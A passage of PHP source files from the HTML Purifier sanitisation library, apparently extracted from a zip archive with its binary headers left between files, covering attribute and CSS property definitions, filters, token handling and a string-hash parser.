$allowed_attributes_mutable = $allowed_attributes; // by copy!
if (is_array($allowed_attributes)) {
// This actually doesn't do anything, since we went away from
// global attributes. It's possible that userland code uses
// it, but HTMLModuleManager doesn't!
foreach ($this->info_global_attr as $attr => $x) {
$keys = array($attr, "*@$attr", "*.$attr");
$delete = true;
foreach ($keys as $key) {
if ($delete && isset($allowed_attributes[$key])) {
$delete = false;
}
if (isset($allowed_attributes_mutable[$key])) {
unset($allowed_attributes_mutable[$key]);
}
}
if ($delete) {
unset($this->info_global_attr[$attr]);
}
}
foreach ($this->info as $tag => $info) {
foreach ($info->attr as $attr => $x) {
$keys = array("$tag@$attr", $attr, "*@$attr", "$tag.$attr", "*.$attr");
$delete = true;
foreach ($keys as $key) {
if ($delete && isset($allowed_attributes[$key])) {
$delete = false;
}
if (isset($allowed_attributes_mutable[$key])) {
unset($allowed_attributes_mutable[$key]);
}
}
if ($delete) {
if ($this->info[$tag]->attr[$attr]->required) {
trigger_error(
"Required attribute '$attr' in element '$tag' " .
"was not allowed, which means '$tag' will not be allowed either",
E_USER_WARNING
);
}
unset($this->info[$tag]->attr[$attr]);
}
}
}
// emit errors
foreach ($allowed_attributes_mutable as $elattr => $d) {
$bits = preg_split('/[.@]/', $elattr, 2);
$c = count($bits);
switch ($c) {
case 2:
if ($bits[0] !== '*') {
$element = htmlspecialchars($bits[0]);
$attribute = htmlspecialchars($bits[1]);
if (!isset($this->info[$element])) {
trigger_error(
"Cannot allow attribute '$attribute' if element " .
"'$element' is not allowed/supported $support"
);
} else {
trigger_error(
"Attribute '$attribute' in element '$element' not supported $support",
E_USER_WARNING
);
}
break;
}
// otherwise fall through
case 1:
$attribute = htmlspecialchars($bits[0]);
trigger_error(
"Global attribute '$attribute' is not ".
"supported in any elements $support",
E_USER_WARNING
);
break;
}
}
}
// setup forbidden elements ---------------------------------------
$forbidden_elements = $config->get('HTML.ForbiddenElements');
$forbidden_attributes = $config->get('HTML.ForbiddenAttributes');
foreach ($this->info as $tag => $info) {
if (isset($forbidden_elements[$tag])) {
unset($this->info[$tag]);
continue;
}
foreach ($info->attr as $attr => $x) {
if (isset($forbidden_attributes["$tag@$attr"]) ||
isset($forbidden_attributes["*@$attr"]) ||
isset($forbidden_attributes[$attr])
) {
unset($this->info[$tag]->attr[$attr]);
continue;
} elseif (isset($forbidden_attributes["$tag.$attr"])) { // this segment might get removed eventually
// $tag.$attr are not user supplied, so no worries!
trigger_error(
"Error with $tag.$attr: tag.attr syntax not supported for " .
"HTML.ForbiddenAttributes; use tag@attr instead",
E_USER_WARNING
);
}
}
}
foreach ($forbidden_attributes as $key => $v) {
if (strlen($key) < 2) {
continue;
}
if ($key[0] != '*') {
continue;
}
if ($key[1] == '.') {
trigger_error(
"Error with $key: *.attr syntax not supported for HTML.ForbiddenAttributes; use attr instead",
E_USER_WARNING
);
}
}
// setup injectors -----------------------------------------------------
foreach ($this->info_injector as $i => $injector) {
if ($injector->checkNeeded($config) !== false) {
// remove injector that does not have it's required
// elements/attributes present, and is thus not needed.
unset($this->info_injector[$i]);
}
}
}
/**
* Parses a TinyMCE-flavored Allowed Elements and Attributes list into
* separate lists for processing. Format is element[attr1|attr2],element2...
* @warning Although it's largely drawn from TinyMCE's implementation,
* it is different, and you'll probably have to modify your lists
* @param array $list String list to parse
* @return array
* @todo Give this its own class, probably static interface
*/
public function parseTinyMCEAllowedList($list)
{
$list = str_replace(array(' ', "\t"), '', $list);
$elements = array();
$attributes = array();
$chunks = preg_split('/(,|[\n\r]+)/', $list);
foreach ($chunks as $chunk) {
if (empty($chunk)) {
continue;
}
// remove TinyMCE element control characters
if (!strpos($chunk, '[')) {
$element = $chunk;
$attr = false;
} else {
list($element, $attr) = explode('[', $chunk);
}
if ($element !== '*') {
$elements[$element] = true;
}
if (!$attr) {
continue;
}
$attr = substr($attr, 0, strlen($attr) - 1); // remove trailing ]
$attr = explode('|', $attr);
foreach ($attr as $key) {
$attributes["$element.$key"] = true;
}
}
return array($elements, $attributes);
}
}
// vim: et sw=4 sts=4
PK j�$Z� z�Y Y , htmlpurifier/library/HTMLPurifier/Filter.phpnu �[��� <?php
/**
* Represents a pre or post processing filter on HTML Purifier's output
*
* Sometimes, a little ad-hoc fixing of HTML has to be done before
* it gets sent through HTML Purifier: you can use filters to acheive
* this effect. For instance, YouTube videos can be preserved using
* this manner. You could have used a decorator for this task, but
* PHP's support for them is not terribly robust, so we're going
* to just loop through the filters.
*
* Filters should be exited first in, last out. If there are three filters,
* named 1, 2 and 3, the order of execution should go 1->preFilter,
* 2->preFilter, 3->preFilter, purify, 3->postFilter, 2->postFilter,
* 1->postFilter.
*
* @note Methods are not declared abstract as it is perfectly legitimate
* for an implementation not to want anything to happen on a step
*/
class HTMLPurifier_Filter
{
/**
* Name of the filter for identification purposes.
* @type string
*/
public $name;
/**
* Pre-processor function, handles HTML before HTML Purifier
* @param string $html
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return string
*/
public function preFilter($html, $config, $context)
{
return $html;
}
/**
* Post-processor function, handles HTML after HTML Purifier
* @param string $html
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return string
*/
public function postFilter($html, $config, $context)
{
return $html;
}
}
// vim: et sw=4 sts=4
PK j�$Z�C��. . 0 htmlpurifier/library/HTMLPurifier/StringHash.phpnu �[��� <?php
/**
* This is in almost every respect equivalent to an array except
* that it keeps track of which keys were accessed.
*
* @warning For the sake of backwards compatibility with early versions
* of PHP 5, you must not use the $hash[$key] syntax; if you do
* our version of offsetGet is never called.
*/
class HTMLPurifier_StringHash extends ArrayObject
{
/**
* @type array
*/
protected $accessed = array();
/**
* Retrieves a value, and logs the access.
* @param mixed $index
* @return mixed
*/
public function offsetGet($index)
{
$this->accessed[$index] = true;
return parent::offsetGet($index);
}
/**
* Returns a lookup array of all array indexes that have been accessed.
* @return array in form array($index => true).
*/
public function getAccessed()
{
return $this->accessed;
}
/**
* Resets the access array.
*/
public function resetAccessed()
{
$this->accessed = array();
}
}
// vim: et sw=4 sts=4
PK j�$Z�fK K - htmlpurifier/library/HTMLPurifier/AttrDef.phpnu �[��� <?php
/**
* Base class for all validating attribute definitions.
*
* This family of classes forms the core for not only HTML attribute validation,
* but also any sort of string that needs to be validated or cleaned (which
* means CSS properties and composite definitions are defined here too).
* Besides defining (through code) what precisely makes the string valid,
* subclasses are also responsible for cleaning the code if possible.
*/
abstract class HTMLPurifier_AttrDef
{
/**
* Tells us whether or not an HTML attribute is minimized.
* Has no meaning in other contexts.
* @type bool
*/
public $minimized = false;
/**
* Tells us whether or not an HTML attribute is required.
* Has no meaning in other contexts
* @type bool
*/
public $required = false;
/**
* Validates and cleans passed string according to a definition.
*
* @param string $string String to be validated and cleaned.
* @param HTMLPurifier_Config $config Mandatory HTMLPurifier_Config object.
* @param HTMLPurifier_Context $context Mandatory HTMLPurifier_Context object.
*/
abstract public function validate($string, $config, $context);
/**
* Convenience method that parses a string as if it were CDATA.
*
* This method process a string in the manner specified at
* <http://www.w3.org/TR/html4/types.html#h-6.2> by removing
* leading and trailing whitespace, ignoring line feeds, and replacing
* carriage returns and tabs with spaces. While most useful for HTML
* attributes specified as CDATA, it can also be applied to most CSS
* values.
*
* @note This method is not entirely standards compliant, as trim() removes
* more types of whitespace than specified in the spec. In practice,
* this is rarely a problem, as those extra characters usually have
* already been removed by HTMLPurifier_Encoder.
*
* @warning This processing is inconsistent with XML's whitespace handling
* as specified by section 3.3.3 and referenced XHTML 1.0 section
* 4.7. However, note that we are NOT necessarily
* parsing XML, thus, this behavior may still be correct. We
* assume that newlines have been normalized.
*/
public function parseCDATA($string)
{
$string = trim($string);
$string = str_replace(array("\n", "\t", "\r"), ' ', $string);
return $string;
}
/**
* Factory method for creating this class from a string.
* @param string $string String construction info
* @return HTMLPurifier_AttrDef Created AttrDef object corresponding to $string
*/
public function make($string)
{
// default implementation, return a flyweight of this object.
// If $string has an effect on the returned object (i.e. you
// need to overload this method), it is best
// to clone or instantiate new copies. (Instantiation is safer.)
return $this;
}
/**
* Removes spaces from rgb(0, 0, 0) so that shorthand CSS properties work
* properly. THIS IS A HACK!
* @param string $string a CSS colour definition
* @return string
*/
protected function mungeRgb($string)
{
$p = '\s*(\d+(\.\d+)?([%]?))\s*';
if (preg_match('/(rgba|hsla)\(/', $string)) {
return preg_replace('/(rgba|hsla)\('.$p.','.$p.','.$p.','.$p.'\)/', '\1(\2,\5,\8,\11)', $string);
}
return preg_replace('/(rgb|hsl)\('.$p.','.$p.','.$p.'\)/', '\1(\2,\5,\8)', $string);
}
/**
* Parses a possibly escaped CSS string and returns the "pure"
* version of it.
*/
protected function expandCSSEscape($string)
{
// flexibly parse it
$ret = '';
for ($i = 0, $c = strlen($string); $i < $c; $i++) {
if ($string[$i] === '\\') {
$i++;
if ($i >= $c) {
$ret .= '\\';
break;
}
if (ctype_xdigit($string[$i])) {
$code = $string[$i];
for ($a = 1, $i++; $i < $c && $a < 6; $i++, $a++) {
if (!ctype_xdigit($string[$i])) {
break;
}
$code .= $string[$i];
}
// We have to be extremely careful when adding
// new characters, to make sure we're not breaking
// the encoding.
$char = HTMLPurifier_Encoder::unichr(hexdec($code));
if (HTMLPurifier_Encoder::cleanUTF8($char) === '') {
continue;
}
$ret .= $char;
if ($i < $c && trim($string[$i]) !== '') {
$i--;
}
continue;
}
if ($string[$i] === "\n") {
continue;
}
}
$ret .= $string[$i];
}
return $ret;
}
}
// vim: et sw=4 sts=4
PK j�$Z&�]u= = / htmlpurifier/library/HTMLPurifier/URIFilter.phpnu �[��� <?php
/**
* Chainable filters for custom URI processing.
*
* These filters can perform custom actions on a URI filter object,
* including transformation or blacklisting. A filter named Foo
* must have a corresponding configuration directive %URI.Foo,
* unless always_load is specified to be true.
*
* The following contexts may be available while URIFilters are being
* processed:
*
* - EmbeddedURI: true if URI is an embedded resource that will
* be loaded automatically on page load
* - CurrentToken: a reference to the token that is currently
* being processed
* - CurrentAttr: the name of the attribute that is currently being
* processed
* - CurrentCSSProperty: the name of the CSS property that is
* currently being processed (if applicable)
*
* @warning This filter is called before scheme object validation occurs.
* Make sure, if you require a specific scheme object, you
* you check that it exists. This allows filters to convert
* proprietary URI schemes into regular ones.
*/
abstract class HTMLPurifier_URIFilter
{
/**
* Unique identifier of filter.
* @type string
*/
public $name;
/**
* True if this filter should be run after scheme validation.
* @type bool
*/
public $post = false;
/**
* True if this filter should always be loaded.
* This permits a filter to be named Foo without the corresponding
* %URI.Foo directive existing.
* @type bool
*/
public $always_load = false;
/**
* Performs initialization for the filter. If the filter returns
* false, this means that it shouldn't be considered active.
* @param HTMLPurifier_Config $config
* @return bool
*/
public function prepare($config)
{
return true;
}
/**
* Filter a URI object
* @param HTMLPurifier_URI $uri Reference to URI object variable
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return bool Whether or not to continue processing: false indicates
* URL is no good, true indicates continue processing. Note that
* all changes are committed directly on the URI object
*/
abstract public function filter(&$uri, $config, $context);
}
// vim: et sw=4 sts=4
PK j�$Z\��}J }J 3 htmlpurifier/library/HTMLPurifier/CSSDefinition.phpnu �[��� <?php
/**
* Defines allowed CSS attributes and what their values are.
* @see HTMLPurifier_HTMLDefinition
*/
class HTMLPurifier_CSSDefinition extends HTMLPurifier_Definition
{
public $type = 'CSS';
/**
* Assoc array of attribute name to definition object.
* @type HTMLPurifier_AttrDef[]
*/
public $info = array();
/**
* Constructs the info array. The meat of this class.
* @param HTMLPurifier_Config $config
*/
protected function doSetup($config)
{
$this->info['text-align'] = new HTMLPurifier_AttrDef_Enum(
array('left', 'right', 'center', 'justify'),
false
);
$border_style =
$this->info['border-bottom-style'] =
$this->info['border-right-style'] =
$this->info['border-left-style'] =
$this->info['border-top-style'] = new HTMLPurifier_AttrDef_Enum(
array(
'none',
'hidden',
'dotted',
'dashed',
'solid',
'double',
'groove',
'ridge',
'inset',
'outset'
),
false
);
$this->info['border-style'] = new HTMLPurifier_AttrDef_CSS_Multiple($border_style);
$this->info['clear'] = new HTMLPurifier_AttrDef_Enum(
array('none', 'left', 'right', 'both'),
false
);
$this->info['float'] = new HTMLPurifier_AttrDef_Enum(
array('none', 'left', 'right'),
false
);
$this->info['font-style'] = new HTMLPurifier_AttrDef_Enum(
array('normal', 'italic', 'oblique'),
false
);
$this->info['font-variant'] = new HTMLPurifier_AttrDef_Enum(
array('normal', 'small-caps'),
false
);
$uri_or_none = new HTMLPurifier_AttrDef_CSS_Composite(
array(
new HTMLPurifier_AttrDef_Enum(array('none')),
new HTMLPurifier_AttrDef_CSS_URI()
)
);
$this->info['list-style-position'] = new HTMLPurifier_AttrDef_Enum(
array('inside', 'outside'),
false
);
$this->info['list-style-type'] = new HTMLPurifier_AttrDef_Enum(
array(
'disc',
'circle',
'square',
'decimal',
'lower-roman',
'upper-roman',
'lower-alpha',
'upper-alpha',
'none'
),
false
);
$this->info['list-style-image'] = $uri_or_none;
$this->info['list-style'] = new HTMLPurifier_AttrDef_CSS_ListStyle($config);
$this->info['text-transform'] = new HTMLPurifier_AttrDef_Enum(
array('capitalize', 'uppercase', 'lowercase', 'none'),
false
);
$this->info['color'] = new HTMLPurifier_AttrDef_CSS_Color();
$this->info['background-image'] = $uri_or_none;
$this->info['background-repeat'] = new HTMLPurifier_AttrDef_Enum(
array('repeat', 'repeat-x', 'repeat-y', 'no-repeat')
);
$this->info['background-attachment'] = new HTMLPurifier_AttrDef_Enum(
array('scroll', 'fixed')
);
$this->info['background-position'] = new HTMLPurifier_AttrDef_CSS_BackgroundPosition();
$border_color =
$this->info['border-top-color'] =
$this->info['border-bottom-color'] =
$this->info['border-left-color'] =
$this->info['border-right-color'] =
$this->info['background-color'] = new HTMLPurifier_AttrDef_CSS_Composite(
array(
new HTMLPurifier_AttrDef_Enum(array('transparent')),
new HTMLPurifier_AttrDef_CSS_Color()
)
);
$this->info['background'] = new HTMLPurifier_AttrDef_CSS_Background($config);
$this->info['border-color'] = new HTMLPurifier_AttrDef_CSS_Multiple($border_color);
$border_width =
$this->info['border-top-width'] =
$this->info['border-bottom-width'] =
$this->info['border-left-width'] =
$this->info['border-right-width'] = new HTMLPurifier_AttrDef_CSS_Composite(
array(
new HTMLPurifier_AttrDef_Enum(array('thin', 'medium', 'thick')),
new HTMLPurifier_AttrDef_CSS_Length('0') //disallow negative
)
);
$this->info['border-width'] = new HTMLPurifier_AttrDef_CSS_Multiple($border_width);
$this->info['letter-spacing'] = new HTMLPurifier_AttrDef_CSS_Composite(
array(
new HTMLPurifier_AttrDef_Enum(array('normal')),
new HTMLPurifier_AttrDef_CSS_Length()
)
);
$this->info['word-spacing'] = new HTMLPurifier_AttrDef_CSS_Composite(
array(
new HTMLPurifier_AttrDef_Enum(array('normal')),
new HTMLPurifier_AttrDef_CSS_Length()
)
);
$this->info['font-size'] = new HTMLPurifier_AttrDef_CSS_Composite(
array(
new HTMLPurifier_AttrDef_Enum(
array(
'xx-small',
'x-small',
'small',
'medium',
'large',
'x-large',
'xx-large',
'larger',
'smaller'
)
),
new HTMLPurifier_AttrDef_CSS_Percentage(),
new HTMLPurifier_AttrDef_CSS_Length()
)
);
$this->info['line-height'] = new HTMLPurifier_AttrDef_CSS_Composite(
array(
new HTMLPurifier_AttrDef_Enum(array('normal')),
new HTMLPurifier_AttrDef_CSS_Number(true), // no negatives
new HTMLPurifier_AttrDef_CSS_Length('0'),
new HTMLPurifier_AttrDef_CSS_Percentage(true)
)
);
$margin =
$this->info['margin-top'] =
$this->info['margin-bottom'] =
$this->info['margin-left'] =
$this->info['margin-right'] = new HTMLPurifier_AttrDef_CSS_Composite(
array(
new HTMLPurifier_AttrDef_CSS_Length(),
new HTMLPurifier_AttrDef_CSS_Percentage(),
new HTMLPurifier_AttrDef_Enum(array('auto'))
)
);
$this->info['margin'] = new HTMLPurifier_AttrDef_CSS_Multiple($margin);
// non-negative
$padding =
$this->info['padding-top'] =
$this->info['padding-bottom'] =
$this->info['padding-left'] =
$this->info['padding-right'] = new HTMLPurifier_AttrDef_CSS_Composite(
array(
new HTMLPurifier_AttrDef_CSS_Length('0'),
new HTMLPurifier_AttrDef_CSS_Percentage(true)
)
);
$this->info['padding'] = new HTMLPurifier_AttrDef_CSS_Multiple($padding);
$this->info['text-indent'] = new HTMLPurifier_AttrDef_CSS_Composite(
array(
new HTMLPurifier_AttrDef_CSS_Length(),
new HTMLPurifier_AttrDef_CSS_Percentage()
)
);
$trusted_wh = new HTMLPurifier_AttrDef_CSS_Composite(
array(
new HTMLPurifier_AttrDef_CSS_Length('0'),
new HTMLPurifier_AttrDef_CSS_Percentage(true),
new HTMLPurifier_AttrDef_Enum(array('auto', 'initial', 'inherit'))
)
);
$trusted_min_wh = new HTMLPurifier_AttrDef_CSS_Composite(
array(
new HTMLPurifier_AttrDef_CSS_Length('0'),
new HTMLPurifier_AttrDef_CSS_Percentage(true),
new HTMLPurifier_AttrDef_Enum(array('initial', 'inherit'))
)
);
$trusted_max_wh = new HTMLPurifier_AttrDef_CSS_Composite(
array(
new HTMLPurifier_AttrDef_CSS_Length('0'),
new HTMLPurifier_AttrDef_CSS_Percentage(true),
new HTMLPurifier_AttrDef_Enum(array('none', 'initial', 'inherit'))
)
);
$max = $config->get('CSS.MaxImgLength');
$this->info['width'] =
$this->info['height'] =
$max === null ?
$trusted_wh :
new HTMLPurifier_AttrDef_Switch(
'img',
// For img tags:
new HTMLPurifier_AttrDef_CSS_Composite(
array(
new HTMLPurifier_AttrDef_CSS_Length('0', $max),
new HTMLPurifier_AttrDef_Enum(array('auto'))
)
),
// For everyone else:
$trusted_wh
);
$this->info['min-width'] =
$this->info['min-height'] =
$max === null ?
$trusted_min_wh :
new HTMLPurifier_AttrDef_Switch(
'img',
// For img tags:
new HTMLPurifier_AttrDef_CSS_Composite(
array(
new HTMLPurifier_AttrDef_CSS_Length('0', $max),
new HTMLPurifier_AttrDef_Enum(array('initial', 'inherit'))
)
),
// For everyone else:
$trusted_min_wh
);
$this->info['max-width'] =
$this->info['max-height'] =
$max === null ?
$trusted_max_wh :
new HTMLPurifier_AttrDef_Switch(
'img',
// For img tags:
new HTMLPurifier_AttrDef_CSS_Composite(
array(
new HTMLPurifier_AttrDef_CSS_Length('0', $max),
new HTMLPurifier_AttrDef_Enum(array('none', 'initial', 'inherit'))
)
),
// For everyone else:
$trusted_max_wh
);
$this->info['text-decoration'] = new HTMLPurifier_AttrDef_CSS_TextDecoration();
$this->info['font-family'] = new HTMLPurifier_AttrDef_CSS_FontFamily();
// this could use specialized code
$this->info['font-weight'] = new HTMLPurifier_AttrDef_Enum(
array(
'normal',
'bold',
'bolder',
'lighter',
'100',
'200',
'300',
'400',
'500',
'600',
'700',
'800',
'900'
),
false
);
// MUST be called after other font properties, as it references
// a CSSDefinition object
$this->info['font'] = new HTMLPurifier_AttrDef_CSS_Font($config);
// same here
$this->info['border'] =
$this->info['border-bottom'] =
$this->info['border-top'] =
$this->info['border-left'] =
$this->info['border-right'] = new HTMLPurifier_AttrDef_CSS_Border($config);
$this->info['border-collapse'] = new HTMLPurifier_AttrDef_Enum(
array('collapse', 'separate')
);
$this->info['caption-side'] = new HTMLPurifier_AttrDef_Enum(
array('top', 'bottom')
);
$this->info['table-layout'] = new HTMLPurifier_AttrDef_Enum(
array('auto', 'fixed')
);
$this->info['vertical-align'] = new HTMLPurifier_AttrDef_CSS_Composite(
array(
new HTMLPurifier_AttrDef_Enum(
array(
'baseline',
'sub',
'super',
'top',
'text-top',
'middle',
'bottom',
'text-bottom'
)
),
new HTMLPurifier_AttrDef_CSS_Length(),
new HTMLPurifier_AttrDef_CSS_Percentage()
)
);
$this->info['border-spacing'] = new HTMLPurifier_AttrDef_CSS_Multiple(new HTMLPurifier_AttrDef_CSS_Length(), 2);
// These CSS properties don't work on many browsers, but we live
// in THE FUTURE!
$this->info['white-space'] = new HTMLPurifier_AttrDef_Enum(
array('nowrap', 'normal', 'pre', 'pre-wrap', 'pre-line')
);
if ($config->get('CSS.Proprietary')) {
$this->doSetupProprietary($config);
}
if ($config->get('CSS.AllowTricky')) {
$this->doSetupTricky($config);
}
if ($config->get('CSS.Trusted')) {
$this->doSetupTrusted($config);
}
$allow_important = $config->get('CSS.AllowImportant');
// wrap all attr-defs with decorator that handles !important
foreach ($this->info as $k => $v) {
$this->info[$k] = new HTMLPurifier_AttrDef_CSS_ImportantDecorator($v, $allow_important);
}
$this->setupConfigStuff($config);
}
/**
* @param HTMLPurifier_Config $config
*/
protected function doSetupProprietary($config)
{
// Internet Explorer only scrollbar colors
$this->info['scrollbar-arrow-color'] = new HTMLPurifier_AttrDef_CSS_Color();
$this->info['scrollbar-base-color'] = new HTMLPurifier_AttrDef_CSS_Color();
$this->info['scrollbar-darkshadow-color'] = new HTMLPurifier_AttrDef_CSS_Color();
$this->info['scrollbar-face-color'] = new HTMLPurifier_AttrDef_CSS_Color();
$this->info['scrollbar-highlight-color'] = new HTMLPurifier_AttrDef_CSS_Color();
$this->info['scrollbar-shadow-color'] = new HTMLPurifier_AttrDef_CSS_Color();
// vendor specific prefixes of opacity
$this->info['-moz-opacity'] = new HTMLPurifier_AttrDef_CSS_AlphaValue();
$this->info['-khtml-opacity'] = new HTMLPurifier_AttrDef_CSS_AlphaValue();
// only opacity, for now
$this->info['filter'] = new HTMLPurifier_AttrDef_CSS_Filter();
// more CSS3
$this->info['page-break-after'] =
$this->info['page-break-before'] = new HTMLPurifier_AttrDef_Enum(
array(
'auto',
'always',
'avoid',
'left',
'right'
)
);
$this->info['page-break-inside'] = new HTMLPurifier_AttrDef_Enum(array('auto', 'avoid'));
$border_radius = new HTMLPurifier_AttrDef_CSS_Composite(
array(
new HTMLPurifier_AttrDef_CSS_Percentage(true), // disallow negative
new HTMLPurifier_AttrDef_CSS_Length('0') // disallow negative
));
$this->info['border-top-left-radius'] =
$this->info['border-top-right-radius'] =
$this->info['border-bottom-right-radius'] =
$this->info['border-bottom-left-radius'] = new HTMLPurifier_AttrDef_CSS_Multiple($border_radius, 2);
// TODO: support SLASH syntax
$this->info['border-radius'] = new HTMLPurifier_AttrDef_CSS_Multiple($border_radius, 4);
}
/**
* @param HTMLPurifier_Config $config
*/
protected function doSetupTricky($config)
{
$this->info['display'] = new HTMLPurifier_AttrDef_Enum(
array(
'inline',
'block',
'list-item',
'run-in',
'compact',
'marker',
'table',
'inline-block',
'inline-table',
'table-row-group',
'table-header-group',
'table-footer-group',
'table-row',
'table-column-group',
'table-column',
'table-cell',
'table-caption',
'none'
)
);
$this->info['visibility'] = new HTMLPurifier_AttrDef_Enum(
array('visible', 'hidden', 'collapse')
);
$this->info['overflow'] = new HTMLPurifier_AttrDef_Enum(array('visible', 'hidden', 'auto', 'scroll'));
$this->info['opacity'] = new HTMLPurifier_AttrDef_CSS_AlphaValue();
}
/**
* @param HTMLPurifier_Config $config
*/
protected function doSetupTrusted($config)
{
$this->info['position'] = new HTMLPurifier_AttrDef_Enum(
array('static', 'relative', 'absolute', 'fixed')
);
$this->info['top'] =
$this->info['left'] =
$this->info['right'] =
$this->info['bottom'] = new HTMLPurifier_AttrDef_CSS_Composite(
array(
new HTMLPurifier_AttrDef_CSS_Length(),
new HTMLPurifier_AttrDef_CSS_Percentage(),
new HTMLPurifier_AttrDef_Enum(array('auto')),
)
);
$this->info['z-index'] = new HTMLPurifier_AttrDef_CSS_Composite(
array(
new HTMLPurifier_AttrDef_Integer(),
new HTMLPurifier_AttrDef_Enum(array('auto')),
)
);
}
/**
* Performs extra config-based processing. Based off of
* HTMLPurifier_HTMLDefinition.
* @param HTMLPurifier_Config $config
* @todo Refactor duplicate elements into common class (probably using
* composition, not inheritance).
*/
protected function setupConfigStuff($config)
{
// setup allowed elements
$support = "(for information on implementing this, see the " .
"support forums) ";
$allowed_properties = $config->get('CSS.AllowedProperties');
if ($allowed_properties !== null) {
foreach ($this->info as $name => $d) {
if (!isset($allowed_properties[$name])) {
unset($this->info[$name]);
}
unset($allowed_properties[$name]);
}
// emit errors
foreach ($allowed_properties as $name => $d) {
// :TODO: Is this htmlspecialchars() call really necessary?
$name = htmlspecialchars($name);
trigger_error("Style attribute '$name' is not supported $support", E_USER_WARNING);
}
}
$forbidden_properties = $config->get('CSS.ForbiddenProperties');
if ($forbidden_properties !== null) {
foreach ($this->info as $name => $d) {
if (isset($forbidden_properties[$name])) {
unset($this->info[$name]);
}
}
}
}
}
// vim: et sw=4 sts=4
PK j�$ZЭZ�� � . htmlpurifier/library/HTMLPurifier/Arborize.phpnu �[��� <?php
/**
* Converts a stream of HTMLPurifier_Token into an HTMLPurifier_Node,
* and back again.
*
* @note This transformation is not an equivalence. We mutate the input
* token stream to make it so; see all [MUT] markers in code.
*/
class HTMLPurifier_Arborize
{
public static function arborize($tokens, $config, $context) {
$definition = $config->getHTMLDefinition();
$parent = new HTMLPurifier_Token_Start($definition->info_parent);
$stack = array($parent->toNode());
foreach ($tokens as $token) {
$token->skip = null; // [MUT]
$token->carryover = null; // [MUT]
if ($token instanceof HTMLPurifier_Token_End) {
$token->start = null; // [MUT]
$r = array_pop($stack);
//assert($r->name === $token->name);
//assert(empty($token->attr));
$r->endCol = $token->col;
$r->endLine = $token->line;
$r->endArmor = $token->armor;
continue;
}
$node = $token->toNode();
$stack[count($stack)-1]->children[] = $node;
if ($token instanceof HTMLPurifier_Token_Start) {
$stack[] = $node;
}
}
//assert(count($stack) == 1);
return $stack[0];
}
public static function flatten($node, $config, $context) {
$level = 0;
$nodes = array($level => new HTMLPurifier_Queue(array($node)));
$closingTokens = array();
$tokens = array();
do {
while (!$nodes[$level]->isEmpty()) {
$node = $nodes[$level]->shift(); // FIFO
list($start, $end) = $node->toTokenPair();
if ($level > 0) {
$tokens[] = $start;
}
if ($end !== NULL) {
$closingTokens[$level][] = $end;
}
if ($node instanceof HTMLPurifier_Node_Element) {
$level++;
$nodes[$level] = new HTMLPurifier_Queue();
foreach ($node->children as $childNode) {
$nodes[$level]->push($childNode);
}
}
}
$level--;
if ($level && isset($closingTokens[$level])) {
while ($token = array_pop($closingTokens[$level])) {
$tokens[] = $token;
}
}
} while ($level > 0);
return $tokens;
}
}
PK j�$Z -#9 9 6 htmlpurifier/library/HTMLPurifier/StringHashParser.phpnu �[��� <?php
/**
* Parses string hash files. File format is as such:
*
* DefaultKeyValue
* KEY: Value
* KEY2: Value2
* --MULTILINE-KEY--
* Multiline
* value.
*
* Which would output something similar to:
*
* array(
* 'ID' => 'DefaultKeyValue',
* 'KEY' => 'Value',
* 'KEY2' => 'Value2',
* 'MULTILINE-KEY' => "Multiline\nvalue.\n",
* )
*
* We use this as an easy to use file-format for configuration schema
* files, but the class itself is usage agnostic.
*
* You can use ---- to forcibly terminate parsing of a single string-hash;
* this marker is used in multi string-hashes to delimit boundaries.
*/
class HTMLPurifier_StringHashParser
{
/**
* @type string
*/
public $default = 'ID';
/**
* Parses a file that contains a single string-hash.
* @param string $file
* @return array
*/
public function parseFile($file)
{
if (!file_exists($file)) {
return false;
}
$fh = fopen($file, 'r');
if (!$fh) {
return false;
}
$ret = $this->parseHandle($fh);
fclose($fh);
return $ret;
}
/**
* Parses a file that contains multiple string-hashes delimited by '----'
* @param string $file
* @return array
*/
public function parseMultiFile($file)
{
if (!file_exists($file)) {
return false;
}
$ret = array();
$fh = fopen($file, 'r');
if (!$fh) {
return false;
}
while (!feof($fh)) {
$ret[] = $this->parseHandle($fh);
}
fclose($fh);
return $ret;
}
/**
* Internal parser that acepts a file handle.
* @note While it's possible to simulate in-memory parsing by using
* custom stream wrappers, if such a use-case arises we should
* factor out the file handle into its own class.
* @param resource $fh File handle with pointer at start of valid string-hash
* block.
* @return array
*/
protected function parseHandle($fh)
{
$state = false;
$single = false;
$ret = array();
do {
$line = fgets($fh);
if ($line === false) {
break;
}
$line = rtrim($line, "\n\r");
if (!$state && $line === '') {
continue;
}
if ($line === '----') {
break;
}
if (strncmp('--#', $line, 3) === 0) {
// Comment
continue;
} elseif (strncmp('--', $line, 2) === 0) {
// Multiline declaration
$state = trim($line, '- ');
if (!isset($ret[$state])) {
$ret[$state] = '';
}
continue;
} elseif (!$state) {
$single = true;
if (strpos($line, ':') !== false) {
// Single-line declaration
list($state, $line) = explode(':', $line, 2);
$line = trim($line);
} else {
// Use default declaration
$state = $this->default;
}
}
if ($single) {
$ret[$state] = $line;
$single = false;
$state = false;
} else {
$ret[$state] .= "$line\n";
}
} while (!feof($fh));
return $ret;
}
}
// vim: et sw=4 sts=4
PK j�$Z �H� � / htmlpurifier/library/HTMLPurifier/Token/Tag.phpnu �[��� <?php
/**
* Abstract class of a tag token (start, end or empty), and its behavior.
*/
abstract class HTMLPurifier_Token_Tag extends HTMLPurifier_Token
{
/**
* Static bool marker that indicates the class is a tag.
*
* This allows us to check objects with <tt>!empty($obj->is_tag)</tt>
* without having to use a function call <tt>is_a()</tt>.
* @type bool
*/
public $is_tag = true;
/**
* The lower-case name of the tag, like 'a', 'b' or 'blockquote'.
*
* @note Strictly speaking, XML tags are case sensitive, so we shouldn't
* be lower-casing them, but these tokens cater to HTML tags, which are
* insensitive.
* @type string
*/
public $name;
/**
* Associative array of the tag's attributes.
* @type array
*/
public $attr = array();
/**
* Non-overloaded constructor, which lower-cases passed tag name.
*
* @param string $name String name.
* @param array $attr Associative array of attributes.
* @param int $line
* @param int $col
* @param array $armor
*/
public function __construct($name, $attr = array(), $line = null, $col = null, $armor = array())
{
$this->name = ctype_lower($name) ? $name : strtolower($name);
foreach ($attr as $key => $value) {
// normalization only necessary when key is not lowercase
if (!ctype_lower($key)) {
$new_key = strtolower($key);
if (!isset($attr[$new_key])) {
$attr[$new_key] = $attr[$key];
}
if ($new_key !== $key) {
